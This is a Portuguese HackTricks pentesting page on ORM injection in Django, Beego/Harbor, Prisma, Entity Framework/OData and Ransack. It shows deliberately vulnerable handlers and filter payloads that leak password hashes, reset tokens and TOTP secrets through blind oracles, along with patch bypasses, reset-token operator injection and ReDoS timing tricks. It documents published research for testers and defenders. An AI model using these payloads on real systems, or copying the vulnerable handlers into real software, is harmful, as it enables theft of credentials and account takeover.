ORM Injection
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Django ORM (Python)
Em this post é explicado como é possível tornar um Django ORM vulnerável usando, por exemplo, um código como:
class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Repare como todo o request.data (que será um json) é passado diretamente para filter objects from the database. Um atacante poderia enviar filtros inesperados para leak mais dados do que o esperado.
Examples:
- Login: Em um login simples tente leak as senhas dos usuários registrados nele.
{
"username": "admin",
"password_startswith": "a"
}
Caution
É possível brute-force the password até que seja leaked.
- Relational filtering: É possível percorrer relações para leak informações de colunas que nem sequer eram esperadas para serem usadas na operação. Por exemplo, se for possível leak artigos criados por um usuário com estas relações: Article(
created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}
Caution
É possível encontrar o password de todos os users que tenham criado um article
- Filtragem relacional muitos-para-muitos: No exemplo anterior não conseguimos encontrar passwords de users que não tenham criado um article. No entanto, seguindo outras relações isso é possível. Por exemplo: Article(
created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}
Caution
Neste caso podemos encontrar todos os users nos departamentos de users que criaram artigos e então leak as passwords (no json anterior estamos apenas leaking os usernames, mas então é possível leak as passwords).
- Abusing Django Group and Permission many-to-may relations with users: Além disso, o modelo AbstractUser é usado para gerar users no Django e por padrão este modelo tem algumas many-to-many relationships com as tabelas Permission e Group. O que basicamente é uma forma padrão de acessar outros users a partir de um user se eles estiverem no mesmo group ou compartilharem a mesma permission.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Bypass filter restrictions: O mesmo post do blog propôs contornar o uso de alguns filtros como
articles = Article.objects.filter(is_secret=False, **request.data). É possível dump artigos que têm is_secret=True porque podemos voltar por uma relação para a tabela Article e leak secret articles a partir de artigos não secretos — os resultados são combinados e o campo is_secret é verificado no artigo não secreto enquanto os dados são leak do artigo secreto.
Article.objects.filter(is_secret=False, categories__articles__id=2)
Caution
Abusando de relacionamentos, é possível contornar até mesmo filtros destinados a proteger os dados exibidos.
- Error/Time based via ReDoS: Nos exemplos anteriores, esperava-se ter respostas diferentes dependendo se o filtro funcionou ou não, para usar isso como oracle. Mas pode ser que alguma ação seja executada no database e a resposta seja sempre a mesma. Nesse cenário, pode ser possível provocar um erro no database para obter um novo oracle.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
Do mesmo post sobre este vetor:
- SQLite: Não tem um operador regexp por padrão (exige carregar uma extensão de terceiros)
- PostgreSQL: Não tem um timeout de regex por padrão e é menos propenso a backtracking
- MariaDB: Não tem um timeout de regex
Beego ORM (Go) & Harbor Filter Oracles
Beego espelha o DSL field__operator do Django, então qualquer handler que permita aos usuários controlar o primeiro argumento de QuerySeter.Filter() expõe todo o grafo de relações:
qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator
Solicitações como /search?filter=created_by__user__password__icontains=pbkdf podem pivotar através de chaves estrangeiras exatamente como as primitivas do Django acima. O helper q do Harbor analisava a entrada do usuário em filtros Beego, então usuários com baixos privilégios podiam sondar segredos observando as respostas de listagem:
GET /api/v2.0/users?q=password=~$argon2id$→ revela se algum hash contém$argon2id$.GET /api/v2.0/users?q=salt=~abc→ leaks salt substrings.
Contar as linhas retornadas, observar metadados de paginação ou comparar o tamanho das respostas fornece um oracle para brute-force de hashes, salts e TOTP seeds inteiros.
Contornando os patches do Harbor com parseExprs
Harbor tentou proteger campos sensíveis marcando-os com filter:"false" e validando apenas o primeiro segmento da expressão:
k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)
A função interna do Beego parseExprs percorre cada segmento delimitado por __ e, quando o segmento atual não é uma relação, simplesmente sobrescreve o campo alvo com o próximo segmento. Payloads como email__password__startswith=foo portanto passam na verificação Harbor’s Filterable(email)=true mas são executados como password__startswith=foo, contornando listas de negação.
v2.13.1 limitou chaves a um único separador, mas o próprio construtor fuzzy-match do Harbor anexa operadores após a validação: q=email__password=~abc → Filter("email__password__icontains", "abc"). O ORM novamente interpreta isso como password__icontains. Aplicações Beego que inspecionam apenas o primeiro componente __ ou que anexam operadores mais tarde no pipeline de requisição permanecem vulneráveis ao mesmo primitivo de sobrescrita e ainda podem ser abusadas como oráculos de leak às cegas.
Prisma ORM (NodeJS)
A seguir estão tricks extracted from this post.
- Controle total do find:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
É possível ver que todo o body JavaScript é passado para o prisma para realizar queries.
No exemplo do post original, isso verificaria todos os posts createdBy alguém (cada post é criado por alguém), retornando também as informações do usuário dessa pessoa (username, password…)
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
O seguinte seleciona todos os posts criados por alguém que tenha uma senha e irá retornar a senha:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Controle total da cláusula where:
Vamos dar uma olhada neste exemplo onde o atacante pode controlar a cláusula where:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Vulnerable to ORM Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
É possível filtrar a senha dos usuários diretamente assim:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
Caution
Usando operações como
startsWithé possível provocar um leak de informação.
- Bypass de filtragem em relacionamentos Many-to-many:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
É possível leak artigos não publicados ao retornar pelos relacionamentos many-to-many entre Category -[*..*]-> Article:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
Também é possível leak todos os usuários abusando de algum loop em relacionamentos many-to-many:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Error/Timed queries: No post original você pode ler um conjunto muito extenso de testes realizados para encontrar o payload ideal para leak de informações com um time based payload. Isto é:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Onde o {CONTAINS_LIST} é uma lista com 1000 strings para garantir que a resposta seja atrasada quando o leak correto for encontrado.
Type confusion on where filters (operator injection)
A query API do Prisma aceita valores primitivos ou objetos de operador. Quando handlers assumem que o corpo da requisição contém strings simples, mas as passam diretamente para where, atacantes podem contrabandear operadores em fluxos de autenticação e contornar verificações de token.
const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})
Vetores comuns de coerção:
- JSON body (default
express.json()):{"resetToken":{"not":"E"},"password":"newpass"}⇒ corresponde a todo usuário cujo token não éE. - URL-encoded body with
extended: true:resetToken[not]=E&password=newpasstorna-se o mesmo objeto. - Query string in Express <5 or with extended parsers:
/reset?resetToken[contains]=argon2leaks correspondências de substring. - cookie-parser JSON cookies:
Cookie: resetToken=j:{"startsWith":"0x"}se os cookies forem encaminhados para Prisma.
Porque Prisma avalia { resetToken: { not: ... } }, { contains: ... }, { startsWith: ... }, etc., qualquer verificação de igualdade em segredos (reset tokens, API keys, magic links) pode ser ampliada para um predicado que retorna verdadeiro sem conhecer o segredo. Combine isso com filtros relacionais (createdBy) para selecionar uma vítima.
Procure fluxos onde:
- Request schemas aren’t enforced, so nested objects survive deserialization.
- Extended body/query parsers stay enabled and accept bracket syntax.
- Handlers forward user JSON directly into Prisma instead of mapping onto allow-listed fields/operators.
Entity Framework & OData Filter Leaks
Reflection-based text helpers leak secrets
Microsoft TextFilter helper abused for leaks
```csharp IQueryableHelpers que enumeram todas as propriedades string e as envolvem em .Contains(term) expõem efetivamente senhas, tokens de API, salts e segredos TOTP a qualquer usuário que possa chamar o endpoint. Directus CVE-2025-64748 é um exemplo real onde o endpoint de busca directus_users incluiu token e tfa_secret em seus predicados LIKE gerados, transformando contagens de resultados em um leak oracle.
OData comparison oracles
ASP.NET OData controllers frequentemente retornam IQueryable<T> e permitem $filter, mesmo quando funções como contains estão desabilitadas. Enquanto o EDM expor a propriedade, atacantes ainda podem compará-la:
GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1
A mera presença ou ausência de resultados (ou metadados de paginação) permite realizar uma busca binária caractere a caractere de acordo com a collation do banco de dados. Propriedades de navegação (CreatedBy/Token, CreatedBy/User/Password) permitem pivôs relacionais similares aos do Django/Beego, então qualquer EDM que exponha campos sensíveis ou pule listas de negação por propriedade é um alvo fácil.
Bibliotecas e middlewares que traduzem strings de usuário em operadores ORM (por exemplo, Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers) devem ser tratadas como sinks de alto risco, a menos que implementem listas de permissão estritas para campos/operadores.
Ransack (Ruby)
Esses truques foram found in this post.
Tip
Observe que o Ransack 4.0.0.0 agora exige o uso de uma lista de permissão explícita para atributos e associações pesquisáveis.
Exemplo vulnerável:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Observe como a query será definida pelos parâmetros enviados pelo atacante. Foi possível, por exemplo, realizar brute-force no reset token com:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
Com brute-forcing e, potencialmente, explorando relationships, foi possível leakar mais dados de um banco de dados.
Estratégias de leak sensíveis à collation
Comparações de strings herdam a collation do banco de dados, portanto leak oracles devem ser projetados levando em conta como o backend ordena os caracteres:
- As collations padrão do MariaDB/MySQL/SQLite/MSSQL costumam ser insensíveis a maiúsculas/minúsculas, então
LIKE/=não conseguem distinguiradeA. Use operadores sensíveis a maiúsculas (regex/GLOB/BINARY) quando a capitalização do segredo for importante. - Prisma e Entity Framework refletem a ordenação do banco de dados. Collations como a
SQL_Latin1_General_CP1_CI_ASdo MSSQL posicionam pontuação antes de dígitos e letras, então probes de busca binária devem seguir essa ordenação em vez da ordem de bytes ASCII crua. - O
LIKEdo SQLite é insensível a maiúsculas/minúsculas a menos que uma collation customizada seja registrada, então Django/Beego leaks podem precisar de predicados__regexpara recuperar tokens sensíveis a maiúsculas.
Calibrar payloads para a collation real evita probes desperdiçados e acelera significativamente ataques automatizados por substring/busca binária.
Referências
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://www.elttam.com/blog/leaking-more-than-you-joined-for/
- https://positive.security/blog/ransack-data-exfiltration
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


